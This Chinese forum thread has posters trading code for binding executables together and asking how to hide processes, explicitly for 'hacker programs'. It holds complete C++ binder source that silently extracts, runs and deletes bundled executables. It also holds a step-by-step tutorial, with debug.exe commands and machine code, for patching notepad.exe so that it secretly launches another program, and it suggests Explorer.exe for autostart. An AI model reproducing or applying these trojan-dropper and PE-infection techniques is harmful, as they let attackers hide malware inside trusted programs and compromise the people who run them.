我想文件合并最大的用处就是在写黑客程序了吧。
代码如下:
var
strmSource,strmDest:TMemoryStream;
begin
//先读f1
strmSource:=TMemoryStream.Create;
strmSource.loadfromfile('C:\xxx.exe');
//拷贝到strmdest
strmDest:=TMemoryStream.Create;
strmDest.copyfrom(strmSource,strmSource.size);
strmSource.clear;
//再读f1
strmSource.loadfromfile('C:\xx.exe');
//拷贝到strmdest
strmDest.seek(strmDest.size,soFromBeginning);
strmDest.copyfrom(strmSource,strmSource.size);
strmSource.free;
//这时strmDest里面便是两个文件合并后的内容了.将它保存为文件
strmDest.SaveToFile('xxxxxxx.exe');
strmDest.free;
end;
执行xxxxxx.exe就相当于执行xxx.exe,但这样xx.exe却不运行了。
如何能保证xx.exe也运行呢?
麻烦高手指点一下。(注意,如果说分离之后再隐藏着运行就不必了)最好还指点一下如何隐藏进程(源码)
和Internet连接共享的机制和编程接口(可以再送200分)
代码如下:
var
strmSource,strmDest:TMemoryStream;
begin
//先读f1
strmSource:=TMemoryStream.Create;
strmSource.loadfromfile('C:\xxx.exe');
//拷贝到strmdest
strmDest:=TMemoryStream.Create;
strmDest.copyfrom(strmSource,strmSource.size);
strmSource.clear;
//再读f1
strmSource.loadfromfile('C:\xx.exe');
//拷贝到strmdest
strmDest.seek(strmDest.size,soFromBeginning);
strmDest.copyfrom(strmSource,strmSource.size);
strmSource.free;
//这时strmDest里面便是两个文件合并后的内容了.将它保存为文件
strmDest.SaveToFile('xxxxxxx.exe');
strmDest.free;
end;
执行xxxxxx.exe就相当于执行xxx.exe,但这样xx.exe却不运行了。
如何能保证xx.exe也运行呢?
麻烦高手指点一下。(注意,如果说分离之后再隐藏着运行就不必了)最好还指点一下如何隐藏进程(源码)
和Internet连接共享的机制和编程接口(可以再送200分)
我是听涛,在qq里忘记和你说了,我有个c++写的文件捆绑的原代码
如果你需要,就凑合着看好了基本构成思想:其实,其中的构成思想非常简单。合并文件时:建立一个新的二进制文件,先写入你的自身捆绑程序的数据和其文件长度,再写入你要捆绑的第一个文件的数据和其文件长度,后再直接写入你要捆绑的第二个文件的数据和文件长度……,最后可直接写入你要捆绑的最后一个文件的数据(不需其文件长度)。分解释放最终合成文件时,也就是将上面的方法思想倒过来既可:打开最终合成文件,读取源自身捆绑程序文件长度,将文件指针移到自身捆绑程序数据后,读取第一个被绑定文件的长度,接着读取其长度的文件数据并写入到一新建文件1中,再读取第二个被绑定文件的长度,接着读取其长度的数据并写入到新建文件2中……,直到最后直接读取最后一个被绑定文件的数据并将其写入到最后一个新建文件中既可。(下面实例仅告诉你如何实现二个文件的捆绑,至于多个文件的捆绑,读者只需略加改动既可,详情请查看下载后的实例代码。) 下面我来讲讲文件捆绑最核心的部分,以及如何具体将其用代码来实现的方法:
1、 捆绑多个文件为一个可执行程序
先得到自身捆绑程序的文件长度和第一个要捆绑文件的文件长度,枚举第一个要捆绑文件有无图标,有的话就用它做为最终生成文件的图标,否则用自身捆绑程序所带默认图标做最终生成文件的图标。在新建二进制文件中写入自身捆绑程序的数据和其文件长度,再写入第一个要捆绑文件的数据及其文件长度,最后直接写入第二个文件的数据既可。
 合并程序涵数的具体代码实现如下: //定义要使用到的捆绑程序自身文件信息的结构体
struct MODIFY_DATA {
unsigned int finder; // 常量(定位自身)
_off_t my_length; //文件长度(自身)
} modify_data = {0x12345678, 0}; //绑定二个文件为一个可执行文件
bool CBindFileDlg::Bind_Files()
{
FILE* myself; //自身文件
FILE* out; //最终合成文件
FILE* in; //待绑定文件
int bytesin; //一次读文件字节数
int totalbytes = 0; //读出文件总字节数
struct _stat ST; //文件的状态信息(如文件长度等)
unsigned int finder = 0x12345678; //自身文件定位
unsigned int i, k;
int l=1; //进度条状态显示变量
char buff[20]; //进度条状态显示变量 his_name = strFirstFilePath; //第一个绑定的文件名 _stat(my_name, &ST); //获取自身捆绑文件信息
modify_data.my_length = ST.st_size; //得到自身文件长度
if (modify_data.my_length == 0)
{
MessageBox("绑定文件中,自身文件长度为零时出错!","错误");
return false;
} buf = (BYTE *)malloc(modify_data.my_length); //分配一定大小缓冲区
if (buf == NULL)
{
MessageBox("绑定文件中,分配自身文件长度时出错!","错误");
return false;
} myself = fopen(my_name, "rb"); //打开自身文件
if (myself == NULL)
{
free(buf);
MessageBox("绑定文件中,打开自身文件时出错!","错误");
return false;
} //先读取捆绑程序自身文件数据
bytesin = fread(buf, 1, modify_data.my_length, myself);
fclose(myself); if (bytesin != modify_data.my_length)
{
free(buf);
MessageBox("绑定文件中,不能完全读取自身文件内容时出错!","错误");
return false;
} //存储自身文件信息到缓冲区(如长度)
for (i = 0; i < modify_data.my_length - sizeof(finder); i += sizeof(finder))
{
for (k = 0; k < sizeof(finder); k++)
{
if (buf[i+k] != ((BYTE*)&finder)[k])
break;
}
if (k == sizeof(finder)) //定位并保存自身数据文件信息
{
memcpy(buf+ i, &modify_data, sizeof(modify_data));
break;
}
} if (i >= modify_data.my_length - sizeof(finder))
{
free(buf);
MessageBox("绑定文件中,不能定位自身文件时出错!","错误");
return false;
} //获取第一个要绑定文件的信息(文件长度)
if (_stat(strFirstFilePath, &ST) != 0 || ST.st_size == 0)
{
free(buf);
MessageBox("绑定文件中,读取第一个要绑定文件时出错!","错误");
return false;
} //获取自身文件图标及第一个要绑定文件的图标(如第一个要绑定文件没有图标,
//则用自身文件图标。其涵数实现请参看例程)
list_my_icons(); out = fopen(strFinalFilePath, "wb"); //创建最终合成文件
if (out == NULL)
{
free(buf);
MessageBox("绑定文件中,创建绑定后生成的合成文件时出错!","错误");
return false;
} //先将前面读出的自身捆绑程序的数据写入最终合成文件中
totalbytes += fwrite(buf, 1, bytesin, out); in = fopen(strFirstFilePath, "rb"); //打开第一个要绑定的文件
if (in == NULL)
{
free(buf);
MessageBox("绑定文件中,打开第一个要绑定文件时出错!","错误");
return false;
} //写入第一个要绑定文件的长度到最终合成文件中
totalbytes += fwrite(&ST.st_size, 1, sizeof(ST.st_size), out); //写入最终分解后文件执行方式的标志位(同步或异步执行)
UpdateData(TRUE); //传控件值到变量m_Sync中
totalbytes += fwrite(&m_Sync, 1, sizeof(int), out); //写入第一个要绑定文件的数据到最终合成文件中
while (bytesin = fread(buf, 1, modify_data.my_length, in))
{
totalbytes += fwrite(buf, 1, bytesin, out);
}
fclose(in); //关闭第一个绑定文件句柄 //设置进度条显示
m_Progress.SetRange(0,500);
for (int m = 0; m < 500; m++)
m_Progress.SetPos(m);
m_Parts = _ltoa(l, buff, 10);
m_Parts += _T("个文件已绑定");
UpdateData(FALSE);
l++; in = fopen(strSecondFilePath, "rb"); //打开第二个要绑定的文件
if (in == NULL)
{
free(buf);
MessageBox("绑定文件中,打开第二个要绑定文件时出错!","错误");
return false;
}
//直接写入第二个要绑定文件的数据到最终合成文件中
while (bytesin = fread(buf, 1, modify_data.my_length, in))
{
totalbytes += fwrite(buf, 1, bytesin, out);
} //设置进度条显示
m_Progress.SetRange(0,500);
for (int n = 0; n < 500; n++)
m_Progress.SetPos(n);
m_Parts = _ltoa(l, buff, 10);
m_Parts += _T("个文件已绑定");
UpdateData(FALSE);
l++; fclose(in); //关闭第二个绑定文件句柄
fclose(out); //关闭最终合成文件句柄
free(buf); //释放缓冲区 return true;
}
打开自身文件,从中得到自身捆绑程序的文件长度,便可将文件指针定位到第一个被捆绑文件的位置,读取其文件长度和其数据,将其读出数据写入第一个新建文件中。同样,通过已读取的自身捆绑程序文件长度和第一个被捆绑文件的文件长度加上其保存这两个文件长度值的字节数,既可准确定位第二个被捆绑文件的位置,读取其数据,写入到第二个新建文件中。同时,运行这两个文件,最后再删除这两个文件既可。
 释放最终合成文件的代码具体实现如下: //创建分解文件后,运行各分解文件时的进程
void CBindFileDlg::Create_Process(const char* temp_exe, BOOL async)
{
HANDLE hProcess; //进程句柄
HANDLE hThread; //线程句柄
PROCESS_INFORMATION PI; //进程信息
STARTUPINFO SI; //启动信息 memset(&SI, 0, sizeof(SI)); //分配一定的内存
SI.cb = sizeof(SI); //大小赋给启动信息内CB
CreateProcess(temp_exe, NULL, NULL, NULL, FALSE,NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI);
/* --- 暂不用,否则需要保存原始绑定的文件名称
//如果分解后的文件不是执行文件的话,则直接打开它
if(!CreateProcess(temp_exe, NULL, NULL, NULL, FALSE,NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI))
HINSTANCE result =ShellExecute(NULL, _T("open"), temp_exe, NULL,NULL, SW_SHOW);
--- */ hProcess = PI.hProcess;
hThread = PI.hThread;
//异步执行时,执行后不删除分解后的文件;同步执行时,执行后删除分解后的文件
if (!async) //当同步执行时
{
//一直等待,直到当前程序运行进程结束
WaitForSingleObject(hProcess, INFINITE);
unlink(temp_exe); //删除temp.exe文件
}
} //分解已合并的文件,同时运行它们
void CBindFileDlg::Unbind()
{
FILE* myself; //自身文件
FILE* out; //分解后文件
int bytesin; //一次读出文件的字节数
int totalbytes = 0; //读出文件的总字节数
char temp_exe1[] = "temp1.exe"; //分解后的绑定文件名一(可任意取)
char temp_exe2[] = "temp2.exe"; //分解后的绑定文件名二(可任意取)
int SyncFlag; //文件最终执行标志(同步或异步) //先分配一定大小的缓冲区(大小等于捆绑程序长度)
buf = (BYTE*)malloc(modify_data.my_length); myself = fopen(my_name, "rb"); //打开最终合成文件
if (myself == NULL)
{
free(buf);
MessageBox("分离文件中,打开自身文件时出错!","错误");
return;
} out = fopen(temp_exe1, "wb"); //创建第一个绑定的文件
if (out == NULL)
{
free(buf);
MessageBox("分离文件中,创建第一个被绑定文件时出错!","错误");
return;
} //将文件指针定位到捆绑器程序长度尾部
fseek(myself, modify_data.my_length, SEEK_SET); //读取第一个绑定文件的长度
if (fread(&prog1_length, sizeof(prog1_length), 1, myself) == 0)
{
free(buf);
MessageBox("分离文件中,读取第一个被绑定文件长度时出错!","错误");
return;
} //读取最终文件执行方式(同步或异步执行)
if (fread(&SyncFlag, sizeof(int), 1, myself) == 0)
{
free(buf);
MessageBox("分离文件中,读取第一个被绑定文件长度时出错!","错误");
return;
} //读取第一个文件内容并写入到新建的temp1.exe文件中
while (bytesin = fread(buf, 1, sizeof(buf), myself))
{
if (totalbytes + bytesin > prog1_length)
bytesin = prog1_length - totalbytes;
totalbytes += fwrite(buf, 1, bytesin, out);
}
fclose(out); //关闭第一个绑定文件句柄 #ifdef DEBUG_PRINT
fprintf(stderr, "已复制 %d 字节!\n", totalbytes);
#endif DEBUG_PRINT totalbytes = 0;
out = fopen(temp_exe2, "wb"); //创建第二个绑定的文件
if (out == NULL)
{
free(buf);
MessageBox("分离文件中,创建第二个被绑定文件时出错!","错误");
return;
} //将文件指针定位到最终合成文件中的第二个绑定文件头部, 偏移量 ==
//(捆绑器自身文件长度+保存第一个绑定文件长度所占字节数+保存最终文件执行标志所占字节数+第一个绑定文件长度)
fseek(myself,modify_data.my_length+ sizeof(modify_data.my_length) + sizeof(int) + prog1_length, SEEK_SET);
//读取第二个绑定文件内容并写入到新建的temp2.exe文件中
while (bytesin = fread(buf, 1, sizeof(buf), myself))
{
totalbytes += fwrite(buf, 1, bytesin, out);
}
fclose(out); //关闭第二个绑定文件句柄 #ifdef DEBUG_PRINT
fprintf(stderr, "已复制 %d 字节\n", totalbytes);
#endif DEBUG_PRINT fclose(myself); //关闭最终合成文件句柄 if (totalbytes == 0)
{
free(buf);
MessageBox("分离文件中,在自身文件中没有被分离的对象!","错误");
return;
} free(buf); //释放缓冲区 //判断前面读取的最终文件执行标志,来决定以何种方式运行它
if(!SyncFlag) //(0 -- 同步执行,1 -- 异步执行)
{
//置为分解后,为同步执行方式
Create_Process(temp_exe1, false);
Create_Process(temp_exe2, false);
}
else
{
//置为分解后,为异步执行方式
Create_Process(temp_exe1, true);
Create_Process(temp_exe2, true);
}
}
3、判断何时捆绑程序,何时又分解最终合成程序。
由于本程序是将自身捆绑程序作为文件头,要绑定文件附加其后方式生成最终合成文件的。所以,只要知道自身捆绑程序的文件长度,再在初始化对话框涵数OnInitDialog()加以判断及可知道是否是最终合成文件(要不要释放内部绑定文件)。本例程用VC6.0采用静态连接方式生成的Release版,文件大小为184K。 故判断是捆绑还是释放文件的代码具体实现如下:
BOOL CBindFileDlg::OnInitDialog()
{
CDialog::OnInitDialog(); // Add "About..." menu item to system menu. // IDM_ABOUTBOX must be in the system command range.
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000); CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
CString strAboutMenu;
strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
} // Set the icon for this dialog. The framework does this automatically
// when the application''s main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
//在此初始化渐变色进度条
m_Progress.SetRange32(1,500);
m_Progress.SetBkColor(RGB(160,180,220));
m_Progress.ShowPercent(true);
m_Progress.SetPos(500); //初始置各文件名变量为空
strFirstFilePath = ""; //要绑定第一个文件名
strSecondFilePath = ""; //要绑定第二个文件名
strFinalFilePath = ""; //最终合成文件名 //初始化变量
prog1_length = 0; //文件长度
his_name = ""; //绑定文件名
buf = NULL; //缓冲区置空
//获取自身文件名到my_mane变量中
::GetModuleFileName(0, my_name, sizeof(my_name)); struct _stat ST;
_stat(my_name, &ST); //获取自身文件信息(长度)
//在此加入捆绑器程序的最终大小,来判断是绑定文件还是分解执行文件
//当发现自身文件大小大于原大小184K时,为释放内部合成文件
if(ST.st_size > 184*1024)
{
Unbind(); //分离文件并运行
exit(0); //直接退出程序,不显示捆绑程序画面
}
return TRUE; // return TRUE unless you set the focus to a control
}
或者合并的时候去掉汇编代码的最后一个ret终结符。
--------给PE文件打补丁--------
------njhhack我们都知道在PE文件中有很多空隙,所以我们就有可能给PE文件打补丁.做法是在空隙中插入我们的补丁代码.下面我通过实例来教大家给win97的notepad.exe(记事本)程序来打个补丁,使得notepad.exe运行时先运行我的pach.exe程序,方法是:1.在notepad.exe的section间隙中插入ShellExecute(0,'open','pach.exe',0,0,5)这个api函数调用2.后面加入jmp old_begin来跳回原来的程序启动点执行原来的代码3.修改程序的入口点为新的入口点经过这三步操作后,你就为notepad.exe程序打上了补丁,以后每次执行notepad.exe都会先执行pach.exe程序了.听起来很简单,做起来麻烦,我们来看看如何实际操作吧!首先我们需要有个debug.exe用来修改notepad.exe程序的内容,这是windows自带的,你不用费事找的,当然你要分析pe文件的结构和他的反汇编指令的话还要一个dumppe.exe程序,他是masm32汇编器自带的一个免费程序,功能强大,我们分析pe格式和反汇编码就用他了,如果你没有这个程序也没关系,想要的话从这里下载就行http://njhhack.top263.net/dumppe.zip当然我们还要一个win97的操作系统,因为我们对他的notepad.exe程序打补丁.好了,准备好后,我们开始工作了,先把notepad.exe复制到c:.exe,c:然后我们对n进行手术,首先我们分析n.exe的内部结构,用dumppe -disasm n.exe>n.txt好了,n.txt中包含了我们要的所有信息,当然我们只对下面的几个内容感兴趣:------------------------------------------------Address of Entry Point 00001000-------------------------------------------------01 .text Virtual Address 00001000Virtual Size 00003A9B----------------------------------------------------00402E20 FF1578734000 call dword ptr [ShellExecuteA]-----------------------------------------------------------------上面这三部分信息分别是什么含义呢?1.其中Address of Entry Point 00001000表示程序的入口点为1000,这个很重要,因为我们的程序执行完后要跳回这个入口点,2.其中 01 .text Virtual Address 00001000Virtual Size 00003A9B表示代码段的虚拟地址从1000开始,大小为3a9b,这个也很重要,因为我知道每个section以200对齐,现在大小为3a9b,比对齐后的3c00要少,所以代码段有空隙,我们就可以在此插入自已的代码了,空隙的大小为3c00-3a9b=165大小,足够了,3.其中00402E20 FF1578734000 call dword ptr [ShellExecuteA]是一个反汇编代码,我们了解到ShellExecuteA的调用的机器码为FF1578734000,有了上面这三个重要信息后,我们开始最艰难的工作了:=============================================================================1.我们修改代码段的大小,把Virtual Size的值由00003A9B改为00003C00,这样我们的代码才能被装入内存.因为Virtual Size值存在180的位置,所以我们可以这么做:debug n ↙-f280 l2 0,3c-w-q这样我们就改好了代码段的大小2.我们修改程序的入口地址为3a9d+1000=4a9d,方法如下因为入口地址在a8这个位置,所以这么做debug n ↙-f1a8 l2 9d,4a-w-q这样我们修改好了入口地址3.最后一步最难了,就是设计汇编代码了,来吧,精神点!-------------------------------------------------------内存地址 机器码 汇编指令-------------------------------------------------------00404A9D 6A05 push 500404A9F 6A00 push 000404AA1 6A00 push 000404AA3 68E04B4000 push 404BE0h00404AA8 68F04B4000 push 404BF0h00404AAD 6A00 push 000404AAF FF1578734000 call dword ptr [ShellExecuteA]00404AB5 E941010000 jmp loc_00404BFB00404BE0 6861636B2E657865 db 'pach.exe',000404BF0 6F70656E db 'open',000404BFB E900C4FFFF jmp loc_00401000--------------------------------------------------------------这就是我们要写的全部汇编指令,不长,但你要懂他的原理,好吧,我们来分析其中的push 5push 0push 0push 404BE0hpush 404BF0hpush 0是把6个参数压入堆栈,供ShellExecute函数使用,至于该函数的参数结构,大家看win32.hlp的描述然后call dword ptr [ShellExecuteA]这是调用这个函数了,其效果等同于下面的C语言格式ShellExecuteA(0,'open','pach.exe',0,0,5);也就是说最先压入堆栈的参数在函数的最右边,其中'open','pach.exe'分别相当于404BE0h,404BF0h这两个内存地址,因为在该函数中,字符串参数的传递是传的字符串地址,因此00404BE0 6861636B2E657865 db 'pach.exe',000404BF0 6F70656E db 'open',0这上面两行就是在内存中定义了两个字符串.00404AB5 E941010000 jmp loc_00404BFB上面这行是在call 完函数后跳到00404BFB这个地址.00404BFB E900C4FFFF jmp loc_00401000这一行是跳回原来的入口地址1000,执行原来的程序.-----------------------------------------------------------------好了,原理讲完了,我们最后要把这些指令放入代码段,当然就是把机器码放进去了,方法如下:因为代码段在400位置,而我们新入口点在3b9d,所以开始放数的地方是100+400+3a9d=3f9d其中加的100是debug在内存中的基地址,所以做法如下:debug n ↙-f3f9d l1d 6a,5,6a,0,6a,0,68,e0,4b,40,0,68,f0,4b,40,0,6a,0,ff,15,78,73,40,0,e9,41,1,0,0-f40e0 l9 'pach.exe',0-f40f0 l5 'open',0-f40fb l5 e9,0,c4,ff,ff-w-q好了,我们终于完成了最艰难的任务,可以颀赏一下成果了,把n.exe用n代换,方法为copy n n.exe打开n.exe我们发现,在启动记事本程序的时候,同时打开了pach.exe这个程序,呵呵,我们终于成功了想看效果,到这里下载njhhack.top263.net/pach.zip这个不是木马,是演示程序,大家不要害怕---------------------------------------------------用同样的方法,你可以给任何程序打补丁,只要他在程序中调用了ShellExecute,WinExec,CreateProcess,...这些函数就行,比如我们可以给Explorer.exe打补丁,这样我们就可以在启动电脑时,自动运行pach.exe程序了你还可以给很多这样的程序打补丁,只要你愿意.现在大家知道汇编语言有多有用了吧,以后好好学吧,当然还要学pe文件的格式哟,不过本人在此告诫大家不要用这个补丁技术来启动你的木马程序,若不听劝告,引起的后果与本人无关.------njhhack
真乃高人,能力高强,绝对给分多多